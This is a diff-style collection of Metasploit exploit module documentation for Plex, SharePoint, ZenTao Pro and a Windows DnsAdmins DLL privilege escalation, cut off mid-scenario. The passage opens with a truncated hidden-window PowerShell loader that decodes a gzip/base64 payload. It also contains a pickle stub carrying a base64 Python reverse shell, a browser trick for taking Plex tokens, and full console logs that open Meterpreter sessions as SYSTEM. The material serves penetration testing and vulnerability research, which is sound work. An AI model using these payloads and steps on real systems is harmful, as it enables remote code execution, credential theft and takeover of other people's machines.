dXEqHvTd8mDCjGDjgtrRbVzN1iDT6Z/aflTGp07G9A78RXwDuKDPK+7JsioGcGb0emU6+pu5bC7k7mfYfcSfDsvfFBYZE4b4J/SadtadG2b03MPGWrj1P34hpcs1GwltLbBi1r82QDpO0kaOARqFEZDeSsYNDGK635AMZcQRf57sEFJhAjMV5jAZXMphFCXjxo+F2DKHWYPH4UjWL49f3UlCc+M0rcRVJKurubgI29a3lD1Hop8FtTk3VtZhpki71oyBPnrgWk0zsWDrhofSntonrWTvXaJN3Il1m69/xWz4vYI4OP9C2bfaP9w+ks4yrVDxD+Qvyf8Fqa/G/jEwQwYbbj7CDpM3lfjL8rjxW8Jzwnkfl08/K/yNmNnN/C3cnL8NwbBQmG9CgAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[+] Successfully executed command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAFwAx14CA7VWbW+bSBD+nEj5D6iyZFAcG6dOm0aqdIAhxrUTE/zuWicMa9h4YQkssUmv//1mbUhTNb1rTzqExO7svD4zs8M6i1yGaSTkK0X4cnJ8NHASJxTEShbXhIp3d3sjHR0BueLNRsJHQVwocdymoYOj5dWVliUJithhX79GTElTFK4IRqkoCX8JkwAl6Ox2dY9cJnwRKn/WrwldOaRgyzXHDZBwpkQeP+tR1+Gu1O2YYCZWP3+uSouz5rKuP2QOScWqnacMhXWPkKokfJW4wWEeI7Hax25CU7pm9QmO3p7XR1HqrNENaHtEfcQC6qVVCYKAN0EsSyKBh8PlD6diFZaDhLqK5yUoTas1YcE1L5bLP8RFYfYuixgOUd2MGEpobKPkEbsorXecyCPoDq2XIGWzBEf+UpKA7ZFukFiJMkJqwu+oEW/QtgTtV4XEl0LANWCJVIMs/hhmn3oZQQfB6it+QuIleMrkA2xfT45PjtdlndDp5GWdwOposV8jcE0c0BTv2T4Kck3ogxWH0SSHbWWYZEhaPgMrVFAwpNvazxU0S27gfVhlQFmMKfaWIFEks0I/cerPS7KN1jhC7TxyQuyWVSe+BjBaE7QPsF6y3YBHYrU4QF4bEeQ7jGPG8/yDmB5i9iyrZph4KFFcSFIKXkH+pO+dOaRBrJpRH4WA0GEPhVdZQ62jkruo77y0zvfAVNWIk6Y1YZBBs7k1wUYOQV5NUKIUF0dKxuh+Wf3mbj8jDLtOykp1S+mAYmFNo1HKksyFlEHkQztGLnYIB6ImdLCH1NzGfmm1+ioMmkMIdABoeoQ0AIWHbzNeCAk4eEi6VLcRM8OYoBCY9k1vEMeHFi8KfV86jo+86vcOlnV8KFoORInAC/cguzahrCaMccLg5uCgQv38R+Mv7gxwQ0tQkQWx7IyFmjNe0JWHD08Tg9djgcoeg4RB/EZCQ9VJ0bvW4X4Q3zR03L4YtOmTAo9u3Flj1R6N52bf6xLbZPZMx71REJi4afqwz0e6P2By/Gk47HTtdkdJ2rtgrZipqXfU3GqqitvB78dddTQCOaz1rPudqXhq6E/9mbY1B8HUBENazzd9+Kpm4KryXPZV2dB6throWFZ82+pYrebcbFwSFT/Zpq10Js/2nu3orVZnuhsqN/2uEhi3ntE8N/byGy4/31z32vp+7/K9NUt1rIMd3ZhZ4wBNxrE60Y25NY5N/3TrW+Neo2UEKtBNvOvFdgOeZrP7GHlPfXL51Ad3rfG8i9Hc9FHuK5ai2LOI2KutpqiGm6jtC2VkjIC2GZrRzlrFfS+fdRofxn2MYqpYuqIYBPoxVJxtu9Gc0E/W+MIa6fIuH8m7rX7f2Oq4u90U39H1u3d+Y90aNMa2GXWcQAV/825rg7uncBY6Y3m2bow5fm09ajxFU+IMtCYlq0ZzhNvvVdXEqHvTd8mDCjGDjgtrRbVzN1iDT6Z/aflTGp07G9A78RXwDuKDPK+7JsioGcGb0emU6+pu5bC7k7mfYfcSfDsvfFBYZE4b4J/SadtadG2b03MPGWrj1P34hpcs1GwltLbBi1r82QDpO0kaOARqFEZDeSsYNDGK635AMZcQRf57sEFJhAjMV5jAZXMphFCXjxo+F2DKHWYPH4UjWL49f3UlCc+M0rcRVJKurubgI29a3lD1Hop8FtTk3VtZhpki71oyBPnrgWk0zsWDrhofSntonrWTvXaJN3Il1m69/xWz4vYI4OP9C2bfaP9w+ks4yrVDxD+Qvyf8Fqa/G/jEwQwYbbj7CDpM3lfjL8rjxW8Jzwnkfl08/K/yNmNnN/C3cnL8NwbBQmG9CgAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Sending stage (201283 bytes) to 172.16.249.169
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.169:57257) at 2020-05-21 17:27:42 -0500
@@ -0,0 +1,148 @@
## Vulnerable Application
This module exploits an authenticated Python unsafe `pickle.load` of a
`Dict` file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable `LocalAppDataPath` to the newly created photo library, a file
named `Dict` will be unpickled, which causes an RCE as the user who
started Plex.
If an exploit fails, or is cancelled, `Dict` is
left on disk, a new `ALBUM_NAME` will be required as subsuquent writes
will make `Dict-1`, and not execute.
A vulnerable version of the software can be downloaded from
[uptodown.com](https://plex-media-server.en.uptodown.com/windows/versions),
specifically [1.18.5.2309](https://plex-media-server.en.uptodown.com/windows/download/2177216)
is vulnerable and used for developing the module.
The plex server needs to be claimed by an account (free is ok), and the module `PLEX_TOKEN` option
needs permission to create a library, and upload files to it.
### Pickle Stub
This exploit requires a python pickle file which can be generated with the following
code:
```
import pickle
class EP(object):
def __init__(self):
pass
def __reduce__(self):
# for generating an approximately correct size and content, we use
# msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# that payload is then added after runsource.
# The original pre-meterp return would be
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
e = EP()
pickle.dumps(e)
```
### Pickle Gotchas
All the examples of Evil Pickle attacks seem to call one command/function.
[1](https://github.com/fhightower/evil-pickle/blob/master/evil_pickle_writer.py#L17),
[2](https://medium.com/@abhishek.dev.kumar.94/sour-pickle-insecure-deserialization-with-python-pickle-module-efa812c0d565),
[3](https://blog.nelhage.com/2011/03/exploiting-pickle/),
[4](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)
However, @acammack-r7 suggested a way around this. using the `InteractiveInterpreter`.
Credit to them for this original code:
```
>>> class Bad(object):
... def __reduce__(self):
... return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '<input>', 'exec')",))
...
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False
```
## Verification Steps
1. Install the application on an internet-connected host
2. Complete configuration in the browser that pops up
3. Register/Connect it to a Plex account (Free or Plex Pass)
4. Start msfconsole
5. Do: ```use windows/http/plex_unpickle_dict_rce```
6. Do: ```run```
7. You should get a shell.
## Options
### ALBUM_NAME
Name of the photo album to create. Default is random 6 character.
### LIBRARY_PATH
The path to write the photo library to. Must be valid. Default is `C:\\Users\\Public`
### PLEX_TOKEN
The `X-Plex-Token` value from requests from an authenticated session.
There are multiple ways to obtain this value. The easiest is most likely opening the
Console on your web browser (F12) and typing `window.localStorage.myPlexAccessToken`.
However, it can also be obtained from
[plex library files](https://support.plex.tv/articles/204059436-finding-an-authentication-token-x-plex-token/)
or by following [this comment](https://github.com/rapid7/metasploit-framework/pull/13741#issuecomment-649076121)
### REBOOT_SLEEP
Amount of seconds to sleep waiting on the server to reboot. In testing `10` seemed to be OK, default is `15`.
## Scenarios
### Plex 10.0.16299 on Windows 10 16299
```
[*] Processing plex.rb for ERB directives.
resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
resource (plex.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (plex.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
resource (plex.rb)> set verbose true
verbose => true
msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Gathering Plex Config
[*] Server Name: EXPLOITABLE -win10
[+] Server OS: Windows (10.0 (Build 16299))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: TAtPGj
[*] Adding new photo library
[+] Created Photo Library: 163
[*] Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Deleting Photo Library
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer : win10prolicensed
OS : Windows 10 (Build 16299)
Architecture : x64
System Language : en_US
Meterpreter : python/windows
meterpreter > pwd
\\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
```
@@ -0,0 +1,103 @@
## Vulnerable Application
A remotely exploitable vulnerability exists within SharePoint that can be leveraged by a remote authenticated attacker
to execute code within the context of the SharePoint application service. The privileges in this execution context are
determined by the account that is specified when SharePoint is installed and configured. The vulnerability is related to
a failure to validate the source of XML input data, leading to an unsafe deserialization operation that can be triggered
from a page that initializes either the `ContactLinksSuggestionsMicroView` type or a derivative of it. In a default
configuration, a Domain User account is sufficient to access SharePoint and exploit this vulnerability.
This module leverages the `/_layouts/15/quicklinks.aspx?Mode=Suggestion` endpoint that was confirmed to be vulnerable by
[Soroush Dalili](https://twitter.com/irsdl). Alternative endpoints that instantiate the
`ContactLinksSuggestionsMicroView` type may be used as well but are not supported by the module.
### Configuring SharePoint
Once SharePoint is installed, it needs to be configured with a site in order to be exploitable. The Central
Administration web interface **is not vulnerable**. To configure SharePoint to be a stand alone server:
1. Install Active Directory and promote the server to be a Domain Controller
1. Install the "Active Directory Domain Services" role
1. Promote the server to a Domain Controller in a new forest
1. Create a Domain User account for testing
1. Install SQL Server Express
1. Run the "SharePoint Products Configuration Wizard"
1. Use the SQL Server Express instances as the database server
1. In the SharePoint "Central Administration" console web interface:
1. Verify that there is a web application under the "Manage web applications" page
1. Create a new "Site Collection" under the "Create site collections" page
1. Select the previously created web application
1. Set a Title
1. Use the default "Team Site" template
1. Set the "Primary Site Collection Administrator" to the Domain Administrator account
## Verification Steps
1. Install the application and ensure a page is accessible
1. Start msfconsole
1. Do: `use exploit/windows/http/sharepoint_data_deserialization`
1. Set the `RHOSTS`, `USERNAME`, `PASSWORD` and `PAYLOAD` options
1. Set any additional options as required by the previously selected payload
1. Optionally set the `VHOST`, `SSL` and `DOMAIN` options as appropriate
1. Run the exploit
## Options
## Scenarios
### SharePoint 2016 on Server 2016
```
msf5 > use exploit/windows/http/sharepoint_data_deserialization
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/sharepoint_data_deserialization) > set RHOSTS 192.168.63.168
RHOSTS => 192.168.63.168
msf5 exploit(windows/http/sharepoint_data_deserialization) > set RPORT 80
RPORT => 80
msf5 exploit(windows/http/sharepoint_data_deserialization) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf5 exploit(windows/http/sharepoint_data_deserialization) > set VHOST ec2amaz-v2pri0v
VHOST => ec2amaz-v2pri0v
msf5 exploit(windows/http/sharepoint_data_deserialization) > set USERNAME smcintyre
USERNAME => smcintyre
msf5 exploit(windows/http/sharepoint_data_deserialization) > set PASSWORD Password1
PASSWORD => Password1
msf5 exploit(windows/http/sharepoint_data_deserialization) > set DOMAIN SHRPNT
DOMAIN => SHRPNT
msf5 exploit(windows/http/sharepoint_data_deserialization) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/http/sharepoint_data_deserialization) > check
[*] 192.168.63.168:80 - The service is running, but could not be validated. Received the quicklinks HTML form.
msf5 exploit(windows/http/sharepoint_data_deserialization) > exploit
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. Received the quicklinks HTML form.
[*] Command Stager progress - 7.42% done (7499/101079 bytes)
[*] Command Stager progress - 14.84% done (14998/101079 bytes)
[*] Command Stager progress - 22.26% done (22497/101079 bytes)
[*] Command Stager progress - 29.68% done (29996/101079 bytes)
[*] Command Stager progress - 37.09% done (37495/101079 bytes)
[*] Command Stager progress - 44.51% done (44994/101079 bytes)
[*] Command Stager progress - 51.93% done (52493/101079 bytes)
[*] Command Stager progress - 59.35% done (59992/101079 bytes)
[*] Command Stager progress - 66.77% done (67491/101079 bytes)
[*] Command Stager progress - 74.19% done (74990/101079 bytes)
[*] Command Stager progress - 81.61% done (82489/101079 bytes)
[*] Command Stager progress - 89.03% done (89988/101079 bytes)
[*] Command Stager progress - 96.45% done (97487/101079 bytes)
[*] Command Stager progress - 100.00% done (101079/101079 bytes)
[*] Started bind TCP handler against 192.168.63.168:4444
[*] Sending stage (176195 bytes) to 192.168.63.168
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.63.168:4444) at 2020-07-29 11:45:13 -0400
meterpreter > sysinfo
Computer : EC2AMAZ-V2PRI0V
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : SHRPNT
Logged On Users : 19
Meterpreter : x86/windows
meterpreter > getuid
Server username: SHRPNT\Administrator
meterpreter >
```
@@ -0,0 +1,107 @@
## Vulnerable Application
This module exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with
SYSTEM privileges.
The module first tries to obtain the ZenTao Pro version from /pro/user-login.html. If a vulnerable version is found,
it attempts to authenticate to the ZenTao dashboard. It then tries to execute the payload by submitting fake repositories via
the 'Repo Create' function that is accessible from the dashboard via CI>Repo.
More precisely, the module sends HTTP POST requests to '/pro/repo-create.html' that inject commands in the vulnerable 'path'
parameter which corresponds to the 'Client Path' input field.
Valid credentials for a ZenTao admin account are required. This module has been successfully tested against ZenTao 8.8.1 and 8.8.2
running on Windows 10 (XAMPP server).
Vulnerable software for testing can be downloaded [here](https://www.zentao.pm/download.html)
and [here](https://sourceforge.net/projects/zentao/).
The easiest way to install the application is by downloading the 'One-Click Installation Package for Windows'.
The package for ZenTao 8.8.2 is available [here](https://www.zentao.pm/download/scrum-tool-team-collaboration-ztp8.8.2-413.html).
Installation is then just a matter of unzipping the package, launching the ZenTao Runner control panel via `Xampp\ start.exe`
and finally configuring and starting the server from ZenTao Runner. Detailed instructions are available [here]
(https://www.zentao.pm/book/zentaomanual/zentao-one-click-install-win-13.html).
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/windows/http/zentao_pro_rce`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the ZenTao Pro account]`
6. Do: `set PASSWORD [password for the ZenTao Pro account]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Do: `exploit`
## Options
### PASSWORD
The password for the ZenTao Pro account to authenticate with. This option is required.
### TARGETPATH
The path on the target where commands will be executed. The default value is `C:\`.
### TARGETURI
The base path to ZenTao Pro. The default value is `/pro/`.
### USERNAME
The username for the ZenTao Pro account to authenticate with. This option is required.
## Targets
```
Id Name
-- ----
0 Windows (x86)
1 Windows (x64)
```
## Scenarios
### ZenTao 8.8.2 running on Windows 10 (XAMPP server)
```
msf5 exploit(windows/http/zentao_pro_rce) > show options
Module options (exploit/windows/http/zentao_pro_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD zentao123 yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.9.14 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETPATH C:\ yes The path on the target where commands will be executed
TARGETURI /pro/ yes The base path to ZenTao
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows (x64)
msf5 exploit(windows/http/zentao_pro_rce) > run
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Successfully authenticated to ZenTao 8.8.2.
[*] Executing the payload...
[*] Command Stager progress - 20.97% done (2049/9770 bytes)
[*] Command Stager progress - 41.94% done (4098/9770 bytes)
[*] Command Stager progress - 62.92% done (6147/9770 bytes)
[*] Command Stager progress - 83.89% done (8196/9770 bytes)
[*] Command Stager progress - 100.15% done (9785/9770 bytes)
[*] Sending stage (201283 bytes) to 192.168.9.14
[*] Meterpreter session 1 opened (192.168.1.12:4444 -> 192.168.9.14:50506) at 2020-07-08 15:01:22 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
@@ -0,0 +1,348 @@
## Vulnerable Application
Windows Server 2003 and above
#### Introduction
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at
`HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be
made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL
being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.
Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility
that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the
Service Manager without first clearing out the `ServerLevelPluginDll` value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
key using an account with administrator privileges.
To avoid the potential of this occurring, this module has a configurable option, `AVTIMEOUT`, which allows users to configure
how long they would like to wait for any potential AV to pick up on the file after which the module will then check to
ensure the dropped DLL file exists prior to creating the `ServerLevelPluginDll` value within the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key.
It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should
be especially careful when setting the value of `DLLPATH` to ensure that they don't inadvertently set an incorrect IP address and thereby
prevent the DNS server from being able to restart.
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
Server version up to and including Windows Server 2019.
### Setup Steps (Windows Server 2019 Standard)
1. Install Windows Server 2019 Standard with GUI
2. Install and configure Active Directory Domain Services and DNS services.
3. Promote the server to a domain controller once the initial setup wizard is
complete. This will complete the setup of the AD.
4. Reboot
5. Add a new user which I called normal and set its password to a long string such as
`thisIsADamnGoodPassword123!`. Don't use any other special characters or you may end up
violating the default password policy.
6. Add this new user to two groups: `DnsAdmins` (should have been created with the installation of
the DNS server and the AD Server), and `Remote Desktop Users`.
See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info
on how to do this.
7. To go `Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers ->
Default Domain Controllers Policy` and right click on it, then select Edit. From here select Policies ->
Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select
the Allow log on locally policy underneath this and double click on it. Ensure the Define these
policy settings option is checked, and then select Add User or Group and add in the name of the
user that you just created. It should look something in the format of *domain name*\*user name*.
Then click Apply and click OK.
8. Run gpupdate again.
9. Reboot
10. You should now be able to log in as the new user, which should also be in the DnsAdmins group.
You can confirm this by running `net localgroup DnsAdmins` and confirming that the new user is
listed as a member of this group in the output returned.
11. Run `wmic useraccount where name='*username of the new account*'` to get the SID of the
new account that you added in earlier.
12. Run `sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)`
in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command
(aka the SID of the new low privileged user you added).
## Verification Steps
1. Get a Meterpreter shell
2. `use exploit/windows/local/dnsadmin_serverlevelplugindll`
3. `set PAYLOAD <payload>`. Payload architecture must be the same as the target system
4. `set LHOST <lhost>`
5. `set LPORT <lport>`
6. `set SESSION <session_no>` to specify session
7. `set DLLNAME <dllname>` if you want to name your DLL something other than `msf.dll`
8. `set DLLPATH <dllpath>` if you want to place your DLL somewhere other than `%TEMP%` or if you want to use a UNC path
9. `set MAKEDLL true` if you want to just make the DLL, and not carry out the exploit
10. `exploit` to get SYSTEM shell if `MAKEDLL` is set to `false`, or to write
the DLL to the `~/.msf4/local` folder if `MAKEDLL` is set to `true`
## Options
### DLLNAME
Name of the DLL to use.
### DLLPATH
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator
has already performed the following actions:
1. Set up a working SMB2 share (via a tool such as Impacket's `smbserver.py` via a command such as
`sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/`
2. Created a DLL of the same architecture as the target system and placed in within this share.
### MAKEDLL
If set to `true`, then just create the DLL, do not conduct the full exploit.
The resulting DLL will be stored in the `~/.msf4/local` directory.
### AVTIMEOUT
Time, in seconds, to wait for any AV on the target system to potentially pick up on the
dropped DLL file, prior to the module checking to see if the DLL file still exists. This
is needed to prevent a scenario where the DLL file gets removed and the module tries to make
changes that could prevent the DNS server from being able to start.
## Scenarios
### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%`
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.168.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500
meterpreter >
[+] Exited danger zone successfully!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
```
### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
The easiest way to set this up is to Impacket's `smbserver`. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket.
Download the latest release and untar it, then `cd` into the new directory that is created. You should see a file named `setup.py`. Run the command
`sudo python3 setup.py install` and it will install Impacket for you. Once this is done, navigate to the `examples` directory and follow the following steps:
```
~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```
This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named `test`, that will be sharing the contents of
the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload.
```
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
```
Once the DLL has been generated, one can proceed with the actual exploit:
```
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
MAKEDLL => false
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test
DLLPATH => \\172.17.168.195\test
